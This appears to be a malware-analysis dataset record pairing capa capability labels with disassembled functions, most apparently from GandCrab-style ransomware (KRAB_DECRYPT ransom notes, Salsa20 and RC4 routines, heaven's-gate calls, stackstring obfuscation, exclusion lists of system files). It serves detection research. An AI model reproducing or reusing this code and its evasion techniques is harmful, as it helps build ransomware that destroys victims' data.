joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001590
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
jne 0x100016a1
push esi
mov esi, 0x104
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.api_ms_win_core_sysinfo_l1_1_0.dll_GetSystemDirectoryW]
push 0x10001124
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_1.dll_LoadLibraryW]
mov dword [0x100033ac], eax
pop esi
test eax, eax
je 0x100016bd
push 0x10001150
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x10001160
push dword [0x100033ac]
mov dword [0x1000338c], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x10001174
push dword [0x100033ac]
mov dword [0x10003390], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x10001184
push dword [0x100033ac]
mov dword [0x10003394], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x10001198
push dword [0x100033ac]
mov dword [0x10003398], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x100011a0
push dword [0x100033ac]
mov dword [0x1000339c], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x100011b4
push dword [0x100033ac]
mov dword [0x100033a0], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0x100011c8
push dword [0x100033ac]
mov dword [0x100033a4], eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [0x100033a8], eax
jmp 0x100016ba
cmp dword [ebp + 0xc], 0
jne 0x100016ba
push dword [0x100033ac]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FreeLibrary]
and dword [0x100033ac], 0
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001b20
leave
ret 0xc

Function at 0x10001c36
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x10001c73
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x10001c6c
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x10001c78
add edx, 0x28
cmp edx, esi
jne 0x10001c5d
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x10001c75
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x14], ecx
push edi
push 3
pop edi
lea eax, [ebx + 2]
xor esi, esi
cdq
idiv edi
mov eax, ebx
and dword [ebp - 0xc], esi
sub eax, edx
push 4
push 0x3000
lea eax, [eax*4 + 8]
cdq
idiv edi
mov dword [ebp - 0x1c], eax
lea ecx, [eax + 1]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov dword [ebp - 0x10], ecx
test ecx, ecx
je 0x401179
test ebx, ebx
je 0x40116f
mov ecx, dword [ebp - 0x14]
jmp 0x40105c
mov ebx, dword [ebp - 0x18]
mov al, byte [ecx]
dec ebx
mov byte [ebp + esi - 4], al
inc esi
mov dh, byte [ebp - 2]
inc ecx
mov dl, byte [ebp - 3]
mov dword [ebp - 0x18], ebx
mov bl, byte [ebp - 4]
mov dword [ebp - 0x14], ecx
cmp esi, edi
jne 0x4010d3
mov esi, dword [ebp - 0x10]
mov al, bl
shr al, 2
mov cl, bl
and cl, 3
mov byte [ebp - 8], al
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, dh
mov byte [ebp - 7], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, dh
and al, 0x3f
mov byte [ebp - 6], cl
mov ecx, dword [ebp - 0xc]
xor edi, edi
mov byte [ebp - 5], al
movzx eax, byte [ebp + edi - 8]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ecx], al
inc ecx
inc edi
cmp edi, 4
jl 0x4010b3
push 3
mov dword [ebp - 0xc], ecx
xor esi, esi
mov ecx, dword [ebp - 0x14]
pop edi
cmp dword [ebp - 0x18], 0
jne 0x401059
test esi, esi
je 0x40116f
cmp esi, edi
jge 0x401103
mov eax, edi
lea ecx, [ebp - 4]
sub eax, esi
add ecx, esi
push eax
push 0
push ecx
call fcn.0040df40
mov dh, byte [ebp - 2]
add esp, 0xc
mov dl, byte [ebp - 3]
mov bl, byte [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
shr al, 2
and bl, 3
mov byte [ebp - 8], al
mov al, dl
shr al, 4
and dl, 0xf
shl bl, 4
add bl, al
shl dl, 2
mov al, dh
mov byte [ebp - 7], bl
shr al, 6
and dh, 0x3f
add dl, al
mov byte [ebp - 5], dh
lea eax, [esi + 1]
mov byte [ebp - 6], dl
mov edx, dword [ebp - 0x10]
xor ebx, ebx
test eax, eax
jle 0x40115a
lea edi, [esi + 1]
movzx eax, byte [ebp + ebx - 8]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + ecx], al
inc ecx
inc ebx
cmp ebx, edi
jl 0x401143
push 3
pop edi
cmp esi, edi
jge 0x40116f
sub edi, esi
lea eax, [edx + ecx]
push edi
push 0x3d
push eax
call fcn.0040df40
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
mov byte [eax + ecx], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401643
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp + 0xc], eax
push dword [ebp + 0xc]
push dword [ebp - 4]
push 0x33
call fcn.0040166a

Function at 0x403308
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x6b
pop eax
push 0x65
pop edx
push 0x72
pop ecx
push 0x6e
mov word [ebp - 0x28], ax
pop eax
push 0x6c
mov word [ebp - 0x22], ax
pop eax
push 0x33
mov word [ebp - 0x1e], ax
pop eax
mov word [ebp - 0x1c], ax
push 0x32
pop eax
mov word [ebp - 0x1a], ax
xor eax, eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 6], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
mov word [ebp - 0x26], dx
push eax
mov word [ebp - 0x24], cx
mov word [ebp - 0x20], dx
mov dword [ebp - 0x14], 0x6f577349
mov dword [ebp - 0x10], 0x50343677
mov byte [ebp - 0xc], cl
mov word [ebp - 0xb], 0x636f
mov byte [ebp - 9], dl
mov word [ebp - 8], 0x7373
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4232f4], eax
test eax, eax
je 0x4033a5
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x4232f4]
neg eax
sbb eax, eax
and eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4033a9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push 0x6b
pop eax
push 0x65
pop ebx
push 0x72
movdqa xmm0, xmmword [str.Wow64RevertWow64Wow64DisableWow6RpcStringBindingNtSetInformationRpcBindingFromStRpcBindingSetAutH]
mov dword [ebp - 4], ecx
pop ecx
push 0x6e
pop edx
push 0x6c
mov word [ebp - 0x18], ax
pop eax
push 0x33
mov word [ebp - 0xe], ax
pop eax
mov word [ebp - 0xc], ax
push 0x32
pop eax
mov word [ebp - 0xa], ax
xor eax, eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x1b], al
mov eax, dword [0x4232f8]
mov word [ebp - 0x16], bx
mov word [ebp - 0x10], bx
mov byte [ebp - 0x25], bl
mov byte [ebp - 0x21], bl
mov word [ebp - 0x14], cx
mov word [ebp - 0x12], dx
mov word [ebp - 0x28], 0x7346
mov byte [ebp - 0x26], 0x52
mov word [ebp - 0x24], 0x6964
mov byte [ebp - 0x22], cl
mov dword [ebp - 0x20], 0x6f697463
mov byte [ebp - 0x1c], dl
movdqu xmmword [ebp - 0x38], xmm0
pop ebx
test eax, eax
jne 0x403448
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4232f8], eax
test eax, eax
je 0x40344e
lea ecx, [ebp - 4]
push ecx
call eax
mov esp, ebp
pop ebp
ret
Function at 0x403452
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push 0x6b
pop eax
push 0x65
pop ebx
push 0x72
movdqa xmm0, xmmword [0x41a8a0]
mov dword [ebp - 4], ecx
pop ecx
push 0x6e
pop edx
push 0x6c
mov word [ebp - 0x18], ax
pop eax
push 0x33
mov word [ebp - 0xe], ax
pop eax
mov word [ebp - 0xc], ax
push 0x32
pop eax
mov word [ebp - 0xa], ax
xor eax, eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x1a], al
mov eax, dword [0x4232f0]
mov word [ebp - 0x16], bx
mov word [ebp - 0x10], bx
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x20], bl
mov word [ebp - 0x14], cx
mov word [ebp - 0x12], dx
mov dword [ebp - 0x28], 0x52734634
mov word [ebp - 0x23], 0x6964
mov byte [ebp - 0x21], cl
mov dword [ebp - 0x1f], 0x6f697463
mov byte [ebp - 0x1b], dl
movdqu xmmword [ebp - 0x38], xmm0
pop ebx
test eax, eax
jne 0x4034ee
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4232f0], eax
test eax, eax
je 0x4034f4
lea ecx, [ebp - 4]
push ecx
call eax
mov esp, ebp
pop ebp
ret

Function at 0x4034f8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
pushal
push 0
push dword [ebp - 4]
push 0x33
call 0x40350f
add dword [esp], 5
retf

Function at 0x403544
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x40
push edi
test ecx, ecx
je 0x40356a
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 4], eax
jmp 0x403572
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test ecx, ecx
je 0x40358b
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0xc], eax
jmp 0x403593
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
test ecx, ecx
je 0x4035ac
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x4035b4
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
test ecx, ecx
je 0x4035cd
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x4035d5
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov eax, edx
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x2c], edx
cdq
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], eax
movlpd qword [ebp - 0x40], xmm0
mov dword [ebp + 0xc], esp
and sp, 0xfff8
push 0x33
call 0x403609
add dword [esp], 5
retf
Function at 0x40367a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x48
push edi
test ecx, ecx
je 0x4036a0
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 8], eax
jmp 0x4036a8
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
test ecx, ecx
je 0x4036c1
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x10], eax
jmp 0x4036c9
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
test ecx, ecx
je 0x4036e2
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x18], eax
jmp 0x4036ea
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test ecx, ecx
je 0x403703
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x20], eax
jmp 0x40370b
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov eax, edx
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x34], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x38], eax
movlpd qword [ebp - 0x44], xmm0
mov dword [ebp + 0xc], esp
and sp, 0xfff8
push 0x33
call 0x40373f
add dword [esp], 5
retf

Function at 0x4037a8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov eax, ecx
xorps xmm0, xmm0
cdq
push esi
push edi
movlpd qword [ebp - 8], xmm0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
pushal
push 0x33
call 0x4037ca
add dword [esp], 5
retf

Function at 0x403883
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push esi
mov esi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
push esi
movlpd qword [ebp - 8], xmm0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [ebp + 8], eax
mov eax, esi
mov dword [ebp + 0xc], edx
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0x33
call 0x4038be
add dword [esp], 5
retf
Function at 0x40593d
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
xor ebx, ebx
push edi
mov eax, ebx
xor byte [eax + 0x41dba0], 5
inc eax
cmp eax, 0x114
jb 0x40594d
push 0x1f
lea eax, [esp + 0x1c]
push str._hashbreaker_Daniel_J._Bernstein_lets_dance_salsa__3
push eax
call fcn.0040e3d0
mov esi, str._hashbreaker_:___
mov byte [esp + 0x43], bl
lea edi, [esp + 0x1c]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push 0x40
pop eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [esp + 0x17], bl
mov byte [esp + 0x78], bl
dec eax
jne 0x405988
push ecx
push 0x100
lea edx, [esp + 0x20]
lea ecx, [esp + 0x40]
call fcn.00406ec9
mov eax, dword [esp + 0x18]
add esp, 8
mov esi, 0x114
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x54], eax
push 4
push 0x3000
push esi
push ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push eax
mov edx, 0x41dba0
mov dword [0x4232a8], eax
lea ecx, [esp + 0x40]
call fcn.00406f46
pop ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406320
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
push 0x40
mov esi, ecx
xor edi, edi
push 0x3000
push eax
push edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov eax, esi
pop edi
pop esi
pop ebp
ret 4

Function at 0x40688f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x113]
mov dword [ebp - 0x10], ebx
mov esi, ecx
mov byte [ebp - 0x114], bl
push ebx
push eax
mov dword [ebp - 0x14], esi
call fcn.0040df40
mov edi, esi
mov dword [ebp - 4], ebx
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x114]
add esp, 0xc
mov dword [ebp - 8], 0x100
sub edi, eax
xor edx, edx
lea ecx, [ebp - 0x114]
mov eax, ebx
add ecx, ebx
div dword [ebp + 8]
mov byte [edi + ecx], bl
inc ebx
mov al, byte [edx + esi]
mov byte [ecx], al
cmp ebx, 0x100
jl 0x4068da
mov esi, dword [ebp - 0x14]
lea edi, [ebp - 0x114]
mov ebx, dword [ebp - 0x10]
mov ecx, esi
mov dword [ebp - 4], ecx
sub edi, esi
movsx eax, byte [edi + ecx]
mov dl, byte [ecx]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x40692a
dec ebx
or ebx, 0xffffff00
inc ebx
mov ecx, dword [ebp - 4]
mov al, byte [ebx + esi]
mov byte [ecx], al
inc ecx
dec dword [ebp - 8]
mov byte [ebx + esi], dl
mov dword [ebp - 4], ecx
jne 0x40690d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406945
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], edx
mov ebx, esi
mov dword [ebp - 4], esi
push edi
mov edi, ecx
cmp dword [ebp + 8], ebx
jbe 0x4069be
inc esi
and esi, 0x800000ff
jns 0x40696f
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + edi]
movzx eax, dl
add ebx, eax
and ebx, 0x800000ff
jns 0x406987
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [ebx + edi]
mov byte [esi + edi], al
mov byte [ebx + edi], dl
movzx ecx, byte [esi + edi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x4069a9
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ecx + edi]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor byte [ecx + edx], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [ebp + 8]
jb 0x40695e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406ec9
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0x100
mov eax, dword [edx]
mov dword [ecx + 4], eax
mov eax, dword [edx + 4]
mov dword [ecx + 8], eax
mov eax, dword [edx + 8]
mov dword [ecx + 0xc], eax
mov eax, dword [edx + 0xc]
push esi
mov dword [ecx + 0x10], eax
jne 0x406ef7
add edx, 0x10
mov esi, 0x419250
jmp 0x406efc
mov esi, str.expand_16_byte_kexpand_32_byte_kn
mov eax, dword [edx]
mov dword [ecx + 0x2c], eax
mov eax, dword [edx + 4]
mov dword [ecx + 0x30], eax
mov eax, dword [edx + 8]
mov dword [ecx + 0x34], eax
mov eax, dword [edx + 0xc]
mov dword [ecx + 0x38], eax
mov eax, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi + 4]
mov dword [ecx + 0x14], eax
mov eax, dword [esi + 8]
mov dword [ecx + 0x28], eax
mov eax, dword [esi + 0xc]
mov dword [0x423324], esi
mov dword [ecx + 0x3c], eax
pop esi
pop ebp
ret

Function at 0x406f46
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, edx
mov edx, ecx
mov dword [ebp - 0xc], edx
test esi, esi
je 0x406fe3
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x4c]
sub eax, ecx
mov dword [ebp - 4], eax
mov eax, edi
sub eax, ecx
push ebx
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x4c]
xor ebx, ebx
call fcn.00406c64
mov edx, dword [ebp - 0xc]
inc dword [edx + 0x20]
jne 0x406f88
inc dword [edx + 0x24]
cmp esi, 0x40
jbe 0x406fc2
mov esi, dword [ebp - 8]
mov edx, ebx
mov ebx, dword [ebp - 4]
lea ecx, [ebp - 0x4c]
add ecx, edx
push 0x40
mov al, byte [esi + ecx]
xor al, byte [ecx]
inc edx
mov byte [ebx + ecx], al
pop eax
cmp edx, eax
jl 0x406f95
mov esi, dword [ebp + 0xc]
add edi, eax
add dword [ebp + 8], eax
sub esi, eax
add dword [ebp - 4], eax
add dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp + 0xc], esi
jmp 0x406f73
test esi, esi
je 0x406fe2
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x4c]
sub edi, eax
sub edx, eax
lea ecx, [ebp - 0x4c]
add ecx, ebx
mov al, byte [edi + ecx]
xor al, byte [ecx]
inc ebx
mov byte [edx + ecx], al
cmp ebx, esi
jb 0x406fd0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407148
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
push 0x201
lea ecx, [ebp - 0x14]
call fcn.00406320
push 0x200
lea ecx, [ebp - 0x14]
call fcn.00406365
mov edx, str.ProgramData_
mov ecx, edi
mov ebx, eax
call fcn.00408d7c
xor esi, esi
test eax, eax
jne 0x40728a
mov edx, str.IETldCache_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
mov edx, str.Boot_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
mov edx, str.Program_Files_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x407228
mov edx, str.Tor_Browser_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
mov edx, str.All_Users_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
mov edx, str.Local_Settings_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
mov edx, str.Windows_
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
push esi
push 0x2a
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x407233
mov edx, ebx
mov ecx, edi
call fcn.00408d7c
test eax, eax
je 0x407233
mov eax, dword [ebp - 4]
mov dword [eax], 1
jmp 0x40728a
push esi
push 0x2b
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x40724f
mov edx, ebx
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
push esi
push 0x24
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x40726b
mov edx, ebx
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
push esi
push 0x1c
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x407287
mov edx, ebx
mov ecx, edi
call fcn.00408d7c
test eax, eax
jne 0x40728a
xor esi, esi
inc esi
lea ecx, [ebp - 0x14]
call fcn.00406354
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40729b
Capabilities:
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
mov esi, ecx
push esi
call ebx
push esi
mov edi, eax
call ebx
lea esi, [esi + eax*2]
add esi, 0xfffffffe
dec edi
je 0x4072c9
sub esi, 2
dec edi
cmp word [esi], 0x5c
je 0x4072c9
test edi, edi
jne 0x4072bb
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x4072e6
xor eax, eax
inc eax
jmp 0x4074c0
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x4072de
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x4072de
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x4072de
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x4072de
push str.boot.ini
push esi
call edi
test eax, eax
je 0x4072de
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x4072de
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x4072de
mov edx, str._DECRYPT.txt
mov ecx, esi
call fcn.00408cd4
test eax, eax
jne 0x4072de
mov edx, str._DECRYPT.html
mov ecx, esi
call fcn.00408cd4
test eax, eax
jne 0x4072de
mov eax, dword [0x423300]
xor ebx, ebx
test eax, eax
jne 0x40742a
cmp dword [0x423308], ebx
jne 0x407426
mov eax, dword [0x423304]
test eax, eax
je 0x407386
add eax, 2
mov dword [ebp - 4], eax
jmp 0x40738b
mov eax, ebx
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0x20]
call fcn.00408de8
push dword [ebp - 4]
mov dword [0x423300], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0x20]
call fcn.00408de8
mov dword [0x423308], eax
test eax, eax
je 0x4073eb
push dword [0x4232fc]
push str._s_DECRYPT.html
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test eax, eax
jg 0x4073eb
mov ecx, dword [0x423308]
call fcn.00408df9
mov dword [0x423308], ebx
mov eax, dword [0x423300]
test eax, eax
je 0x407436
push dword [0x4232fc]
push str._s_DECRYPT.txt
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test eax, eax
jg 0x407421
mov ecx, dword [0x423300]
call fcn.00408df9
mov eax, ebx
mov dword [0x423300], eax
jmp 0x407426
mov eax, dword [0x423300]
test eax, eax
je 0x407436
push eax
push esi
call edi
test eax, eax
push 1
pop eax
cmove ebx, eax
mov eax, dword [0x423308]
test eax, eax
je 0x40744e
test ebx, ebx
jne 0x407452
push eax
push esi
call edi
test eax, eax
jne 0x407456
lea ebx, [eax + 1]
test ebx, ebx
je 0x407456
mov eax, ebx
jmp 0x4074c0
mov ebx, str.KRAB_DECRYPT.html
push ebx
push esi
call edi
test eax, eax
je 0x4072de
push ebx
push esi
call edi
test eax, eax
je 0x4072de
push str.KRAB_DECRYPT.txt
push esi
call edi
test eax, eax
je 0x4072de
push str.CRAB_DECRYPT.txt
push esi
call edi
test eax, eax
je 0x4072de
push str.ntldr
push esi
call edi
test eax, eax
je 0x4072de
push str.NTDETECT.COM
push esi
call edi
test eax, eax
je 0x4072de
push str.Bootfont.bin
push esi
call edi
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret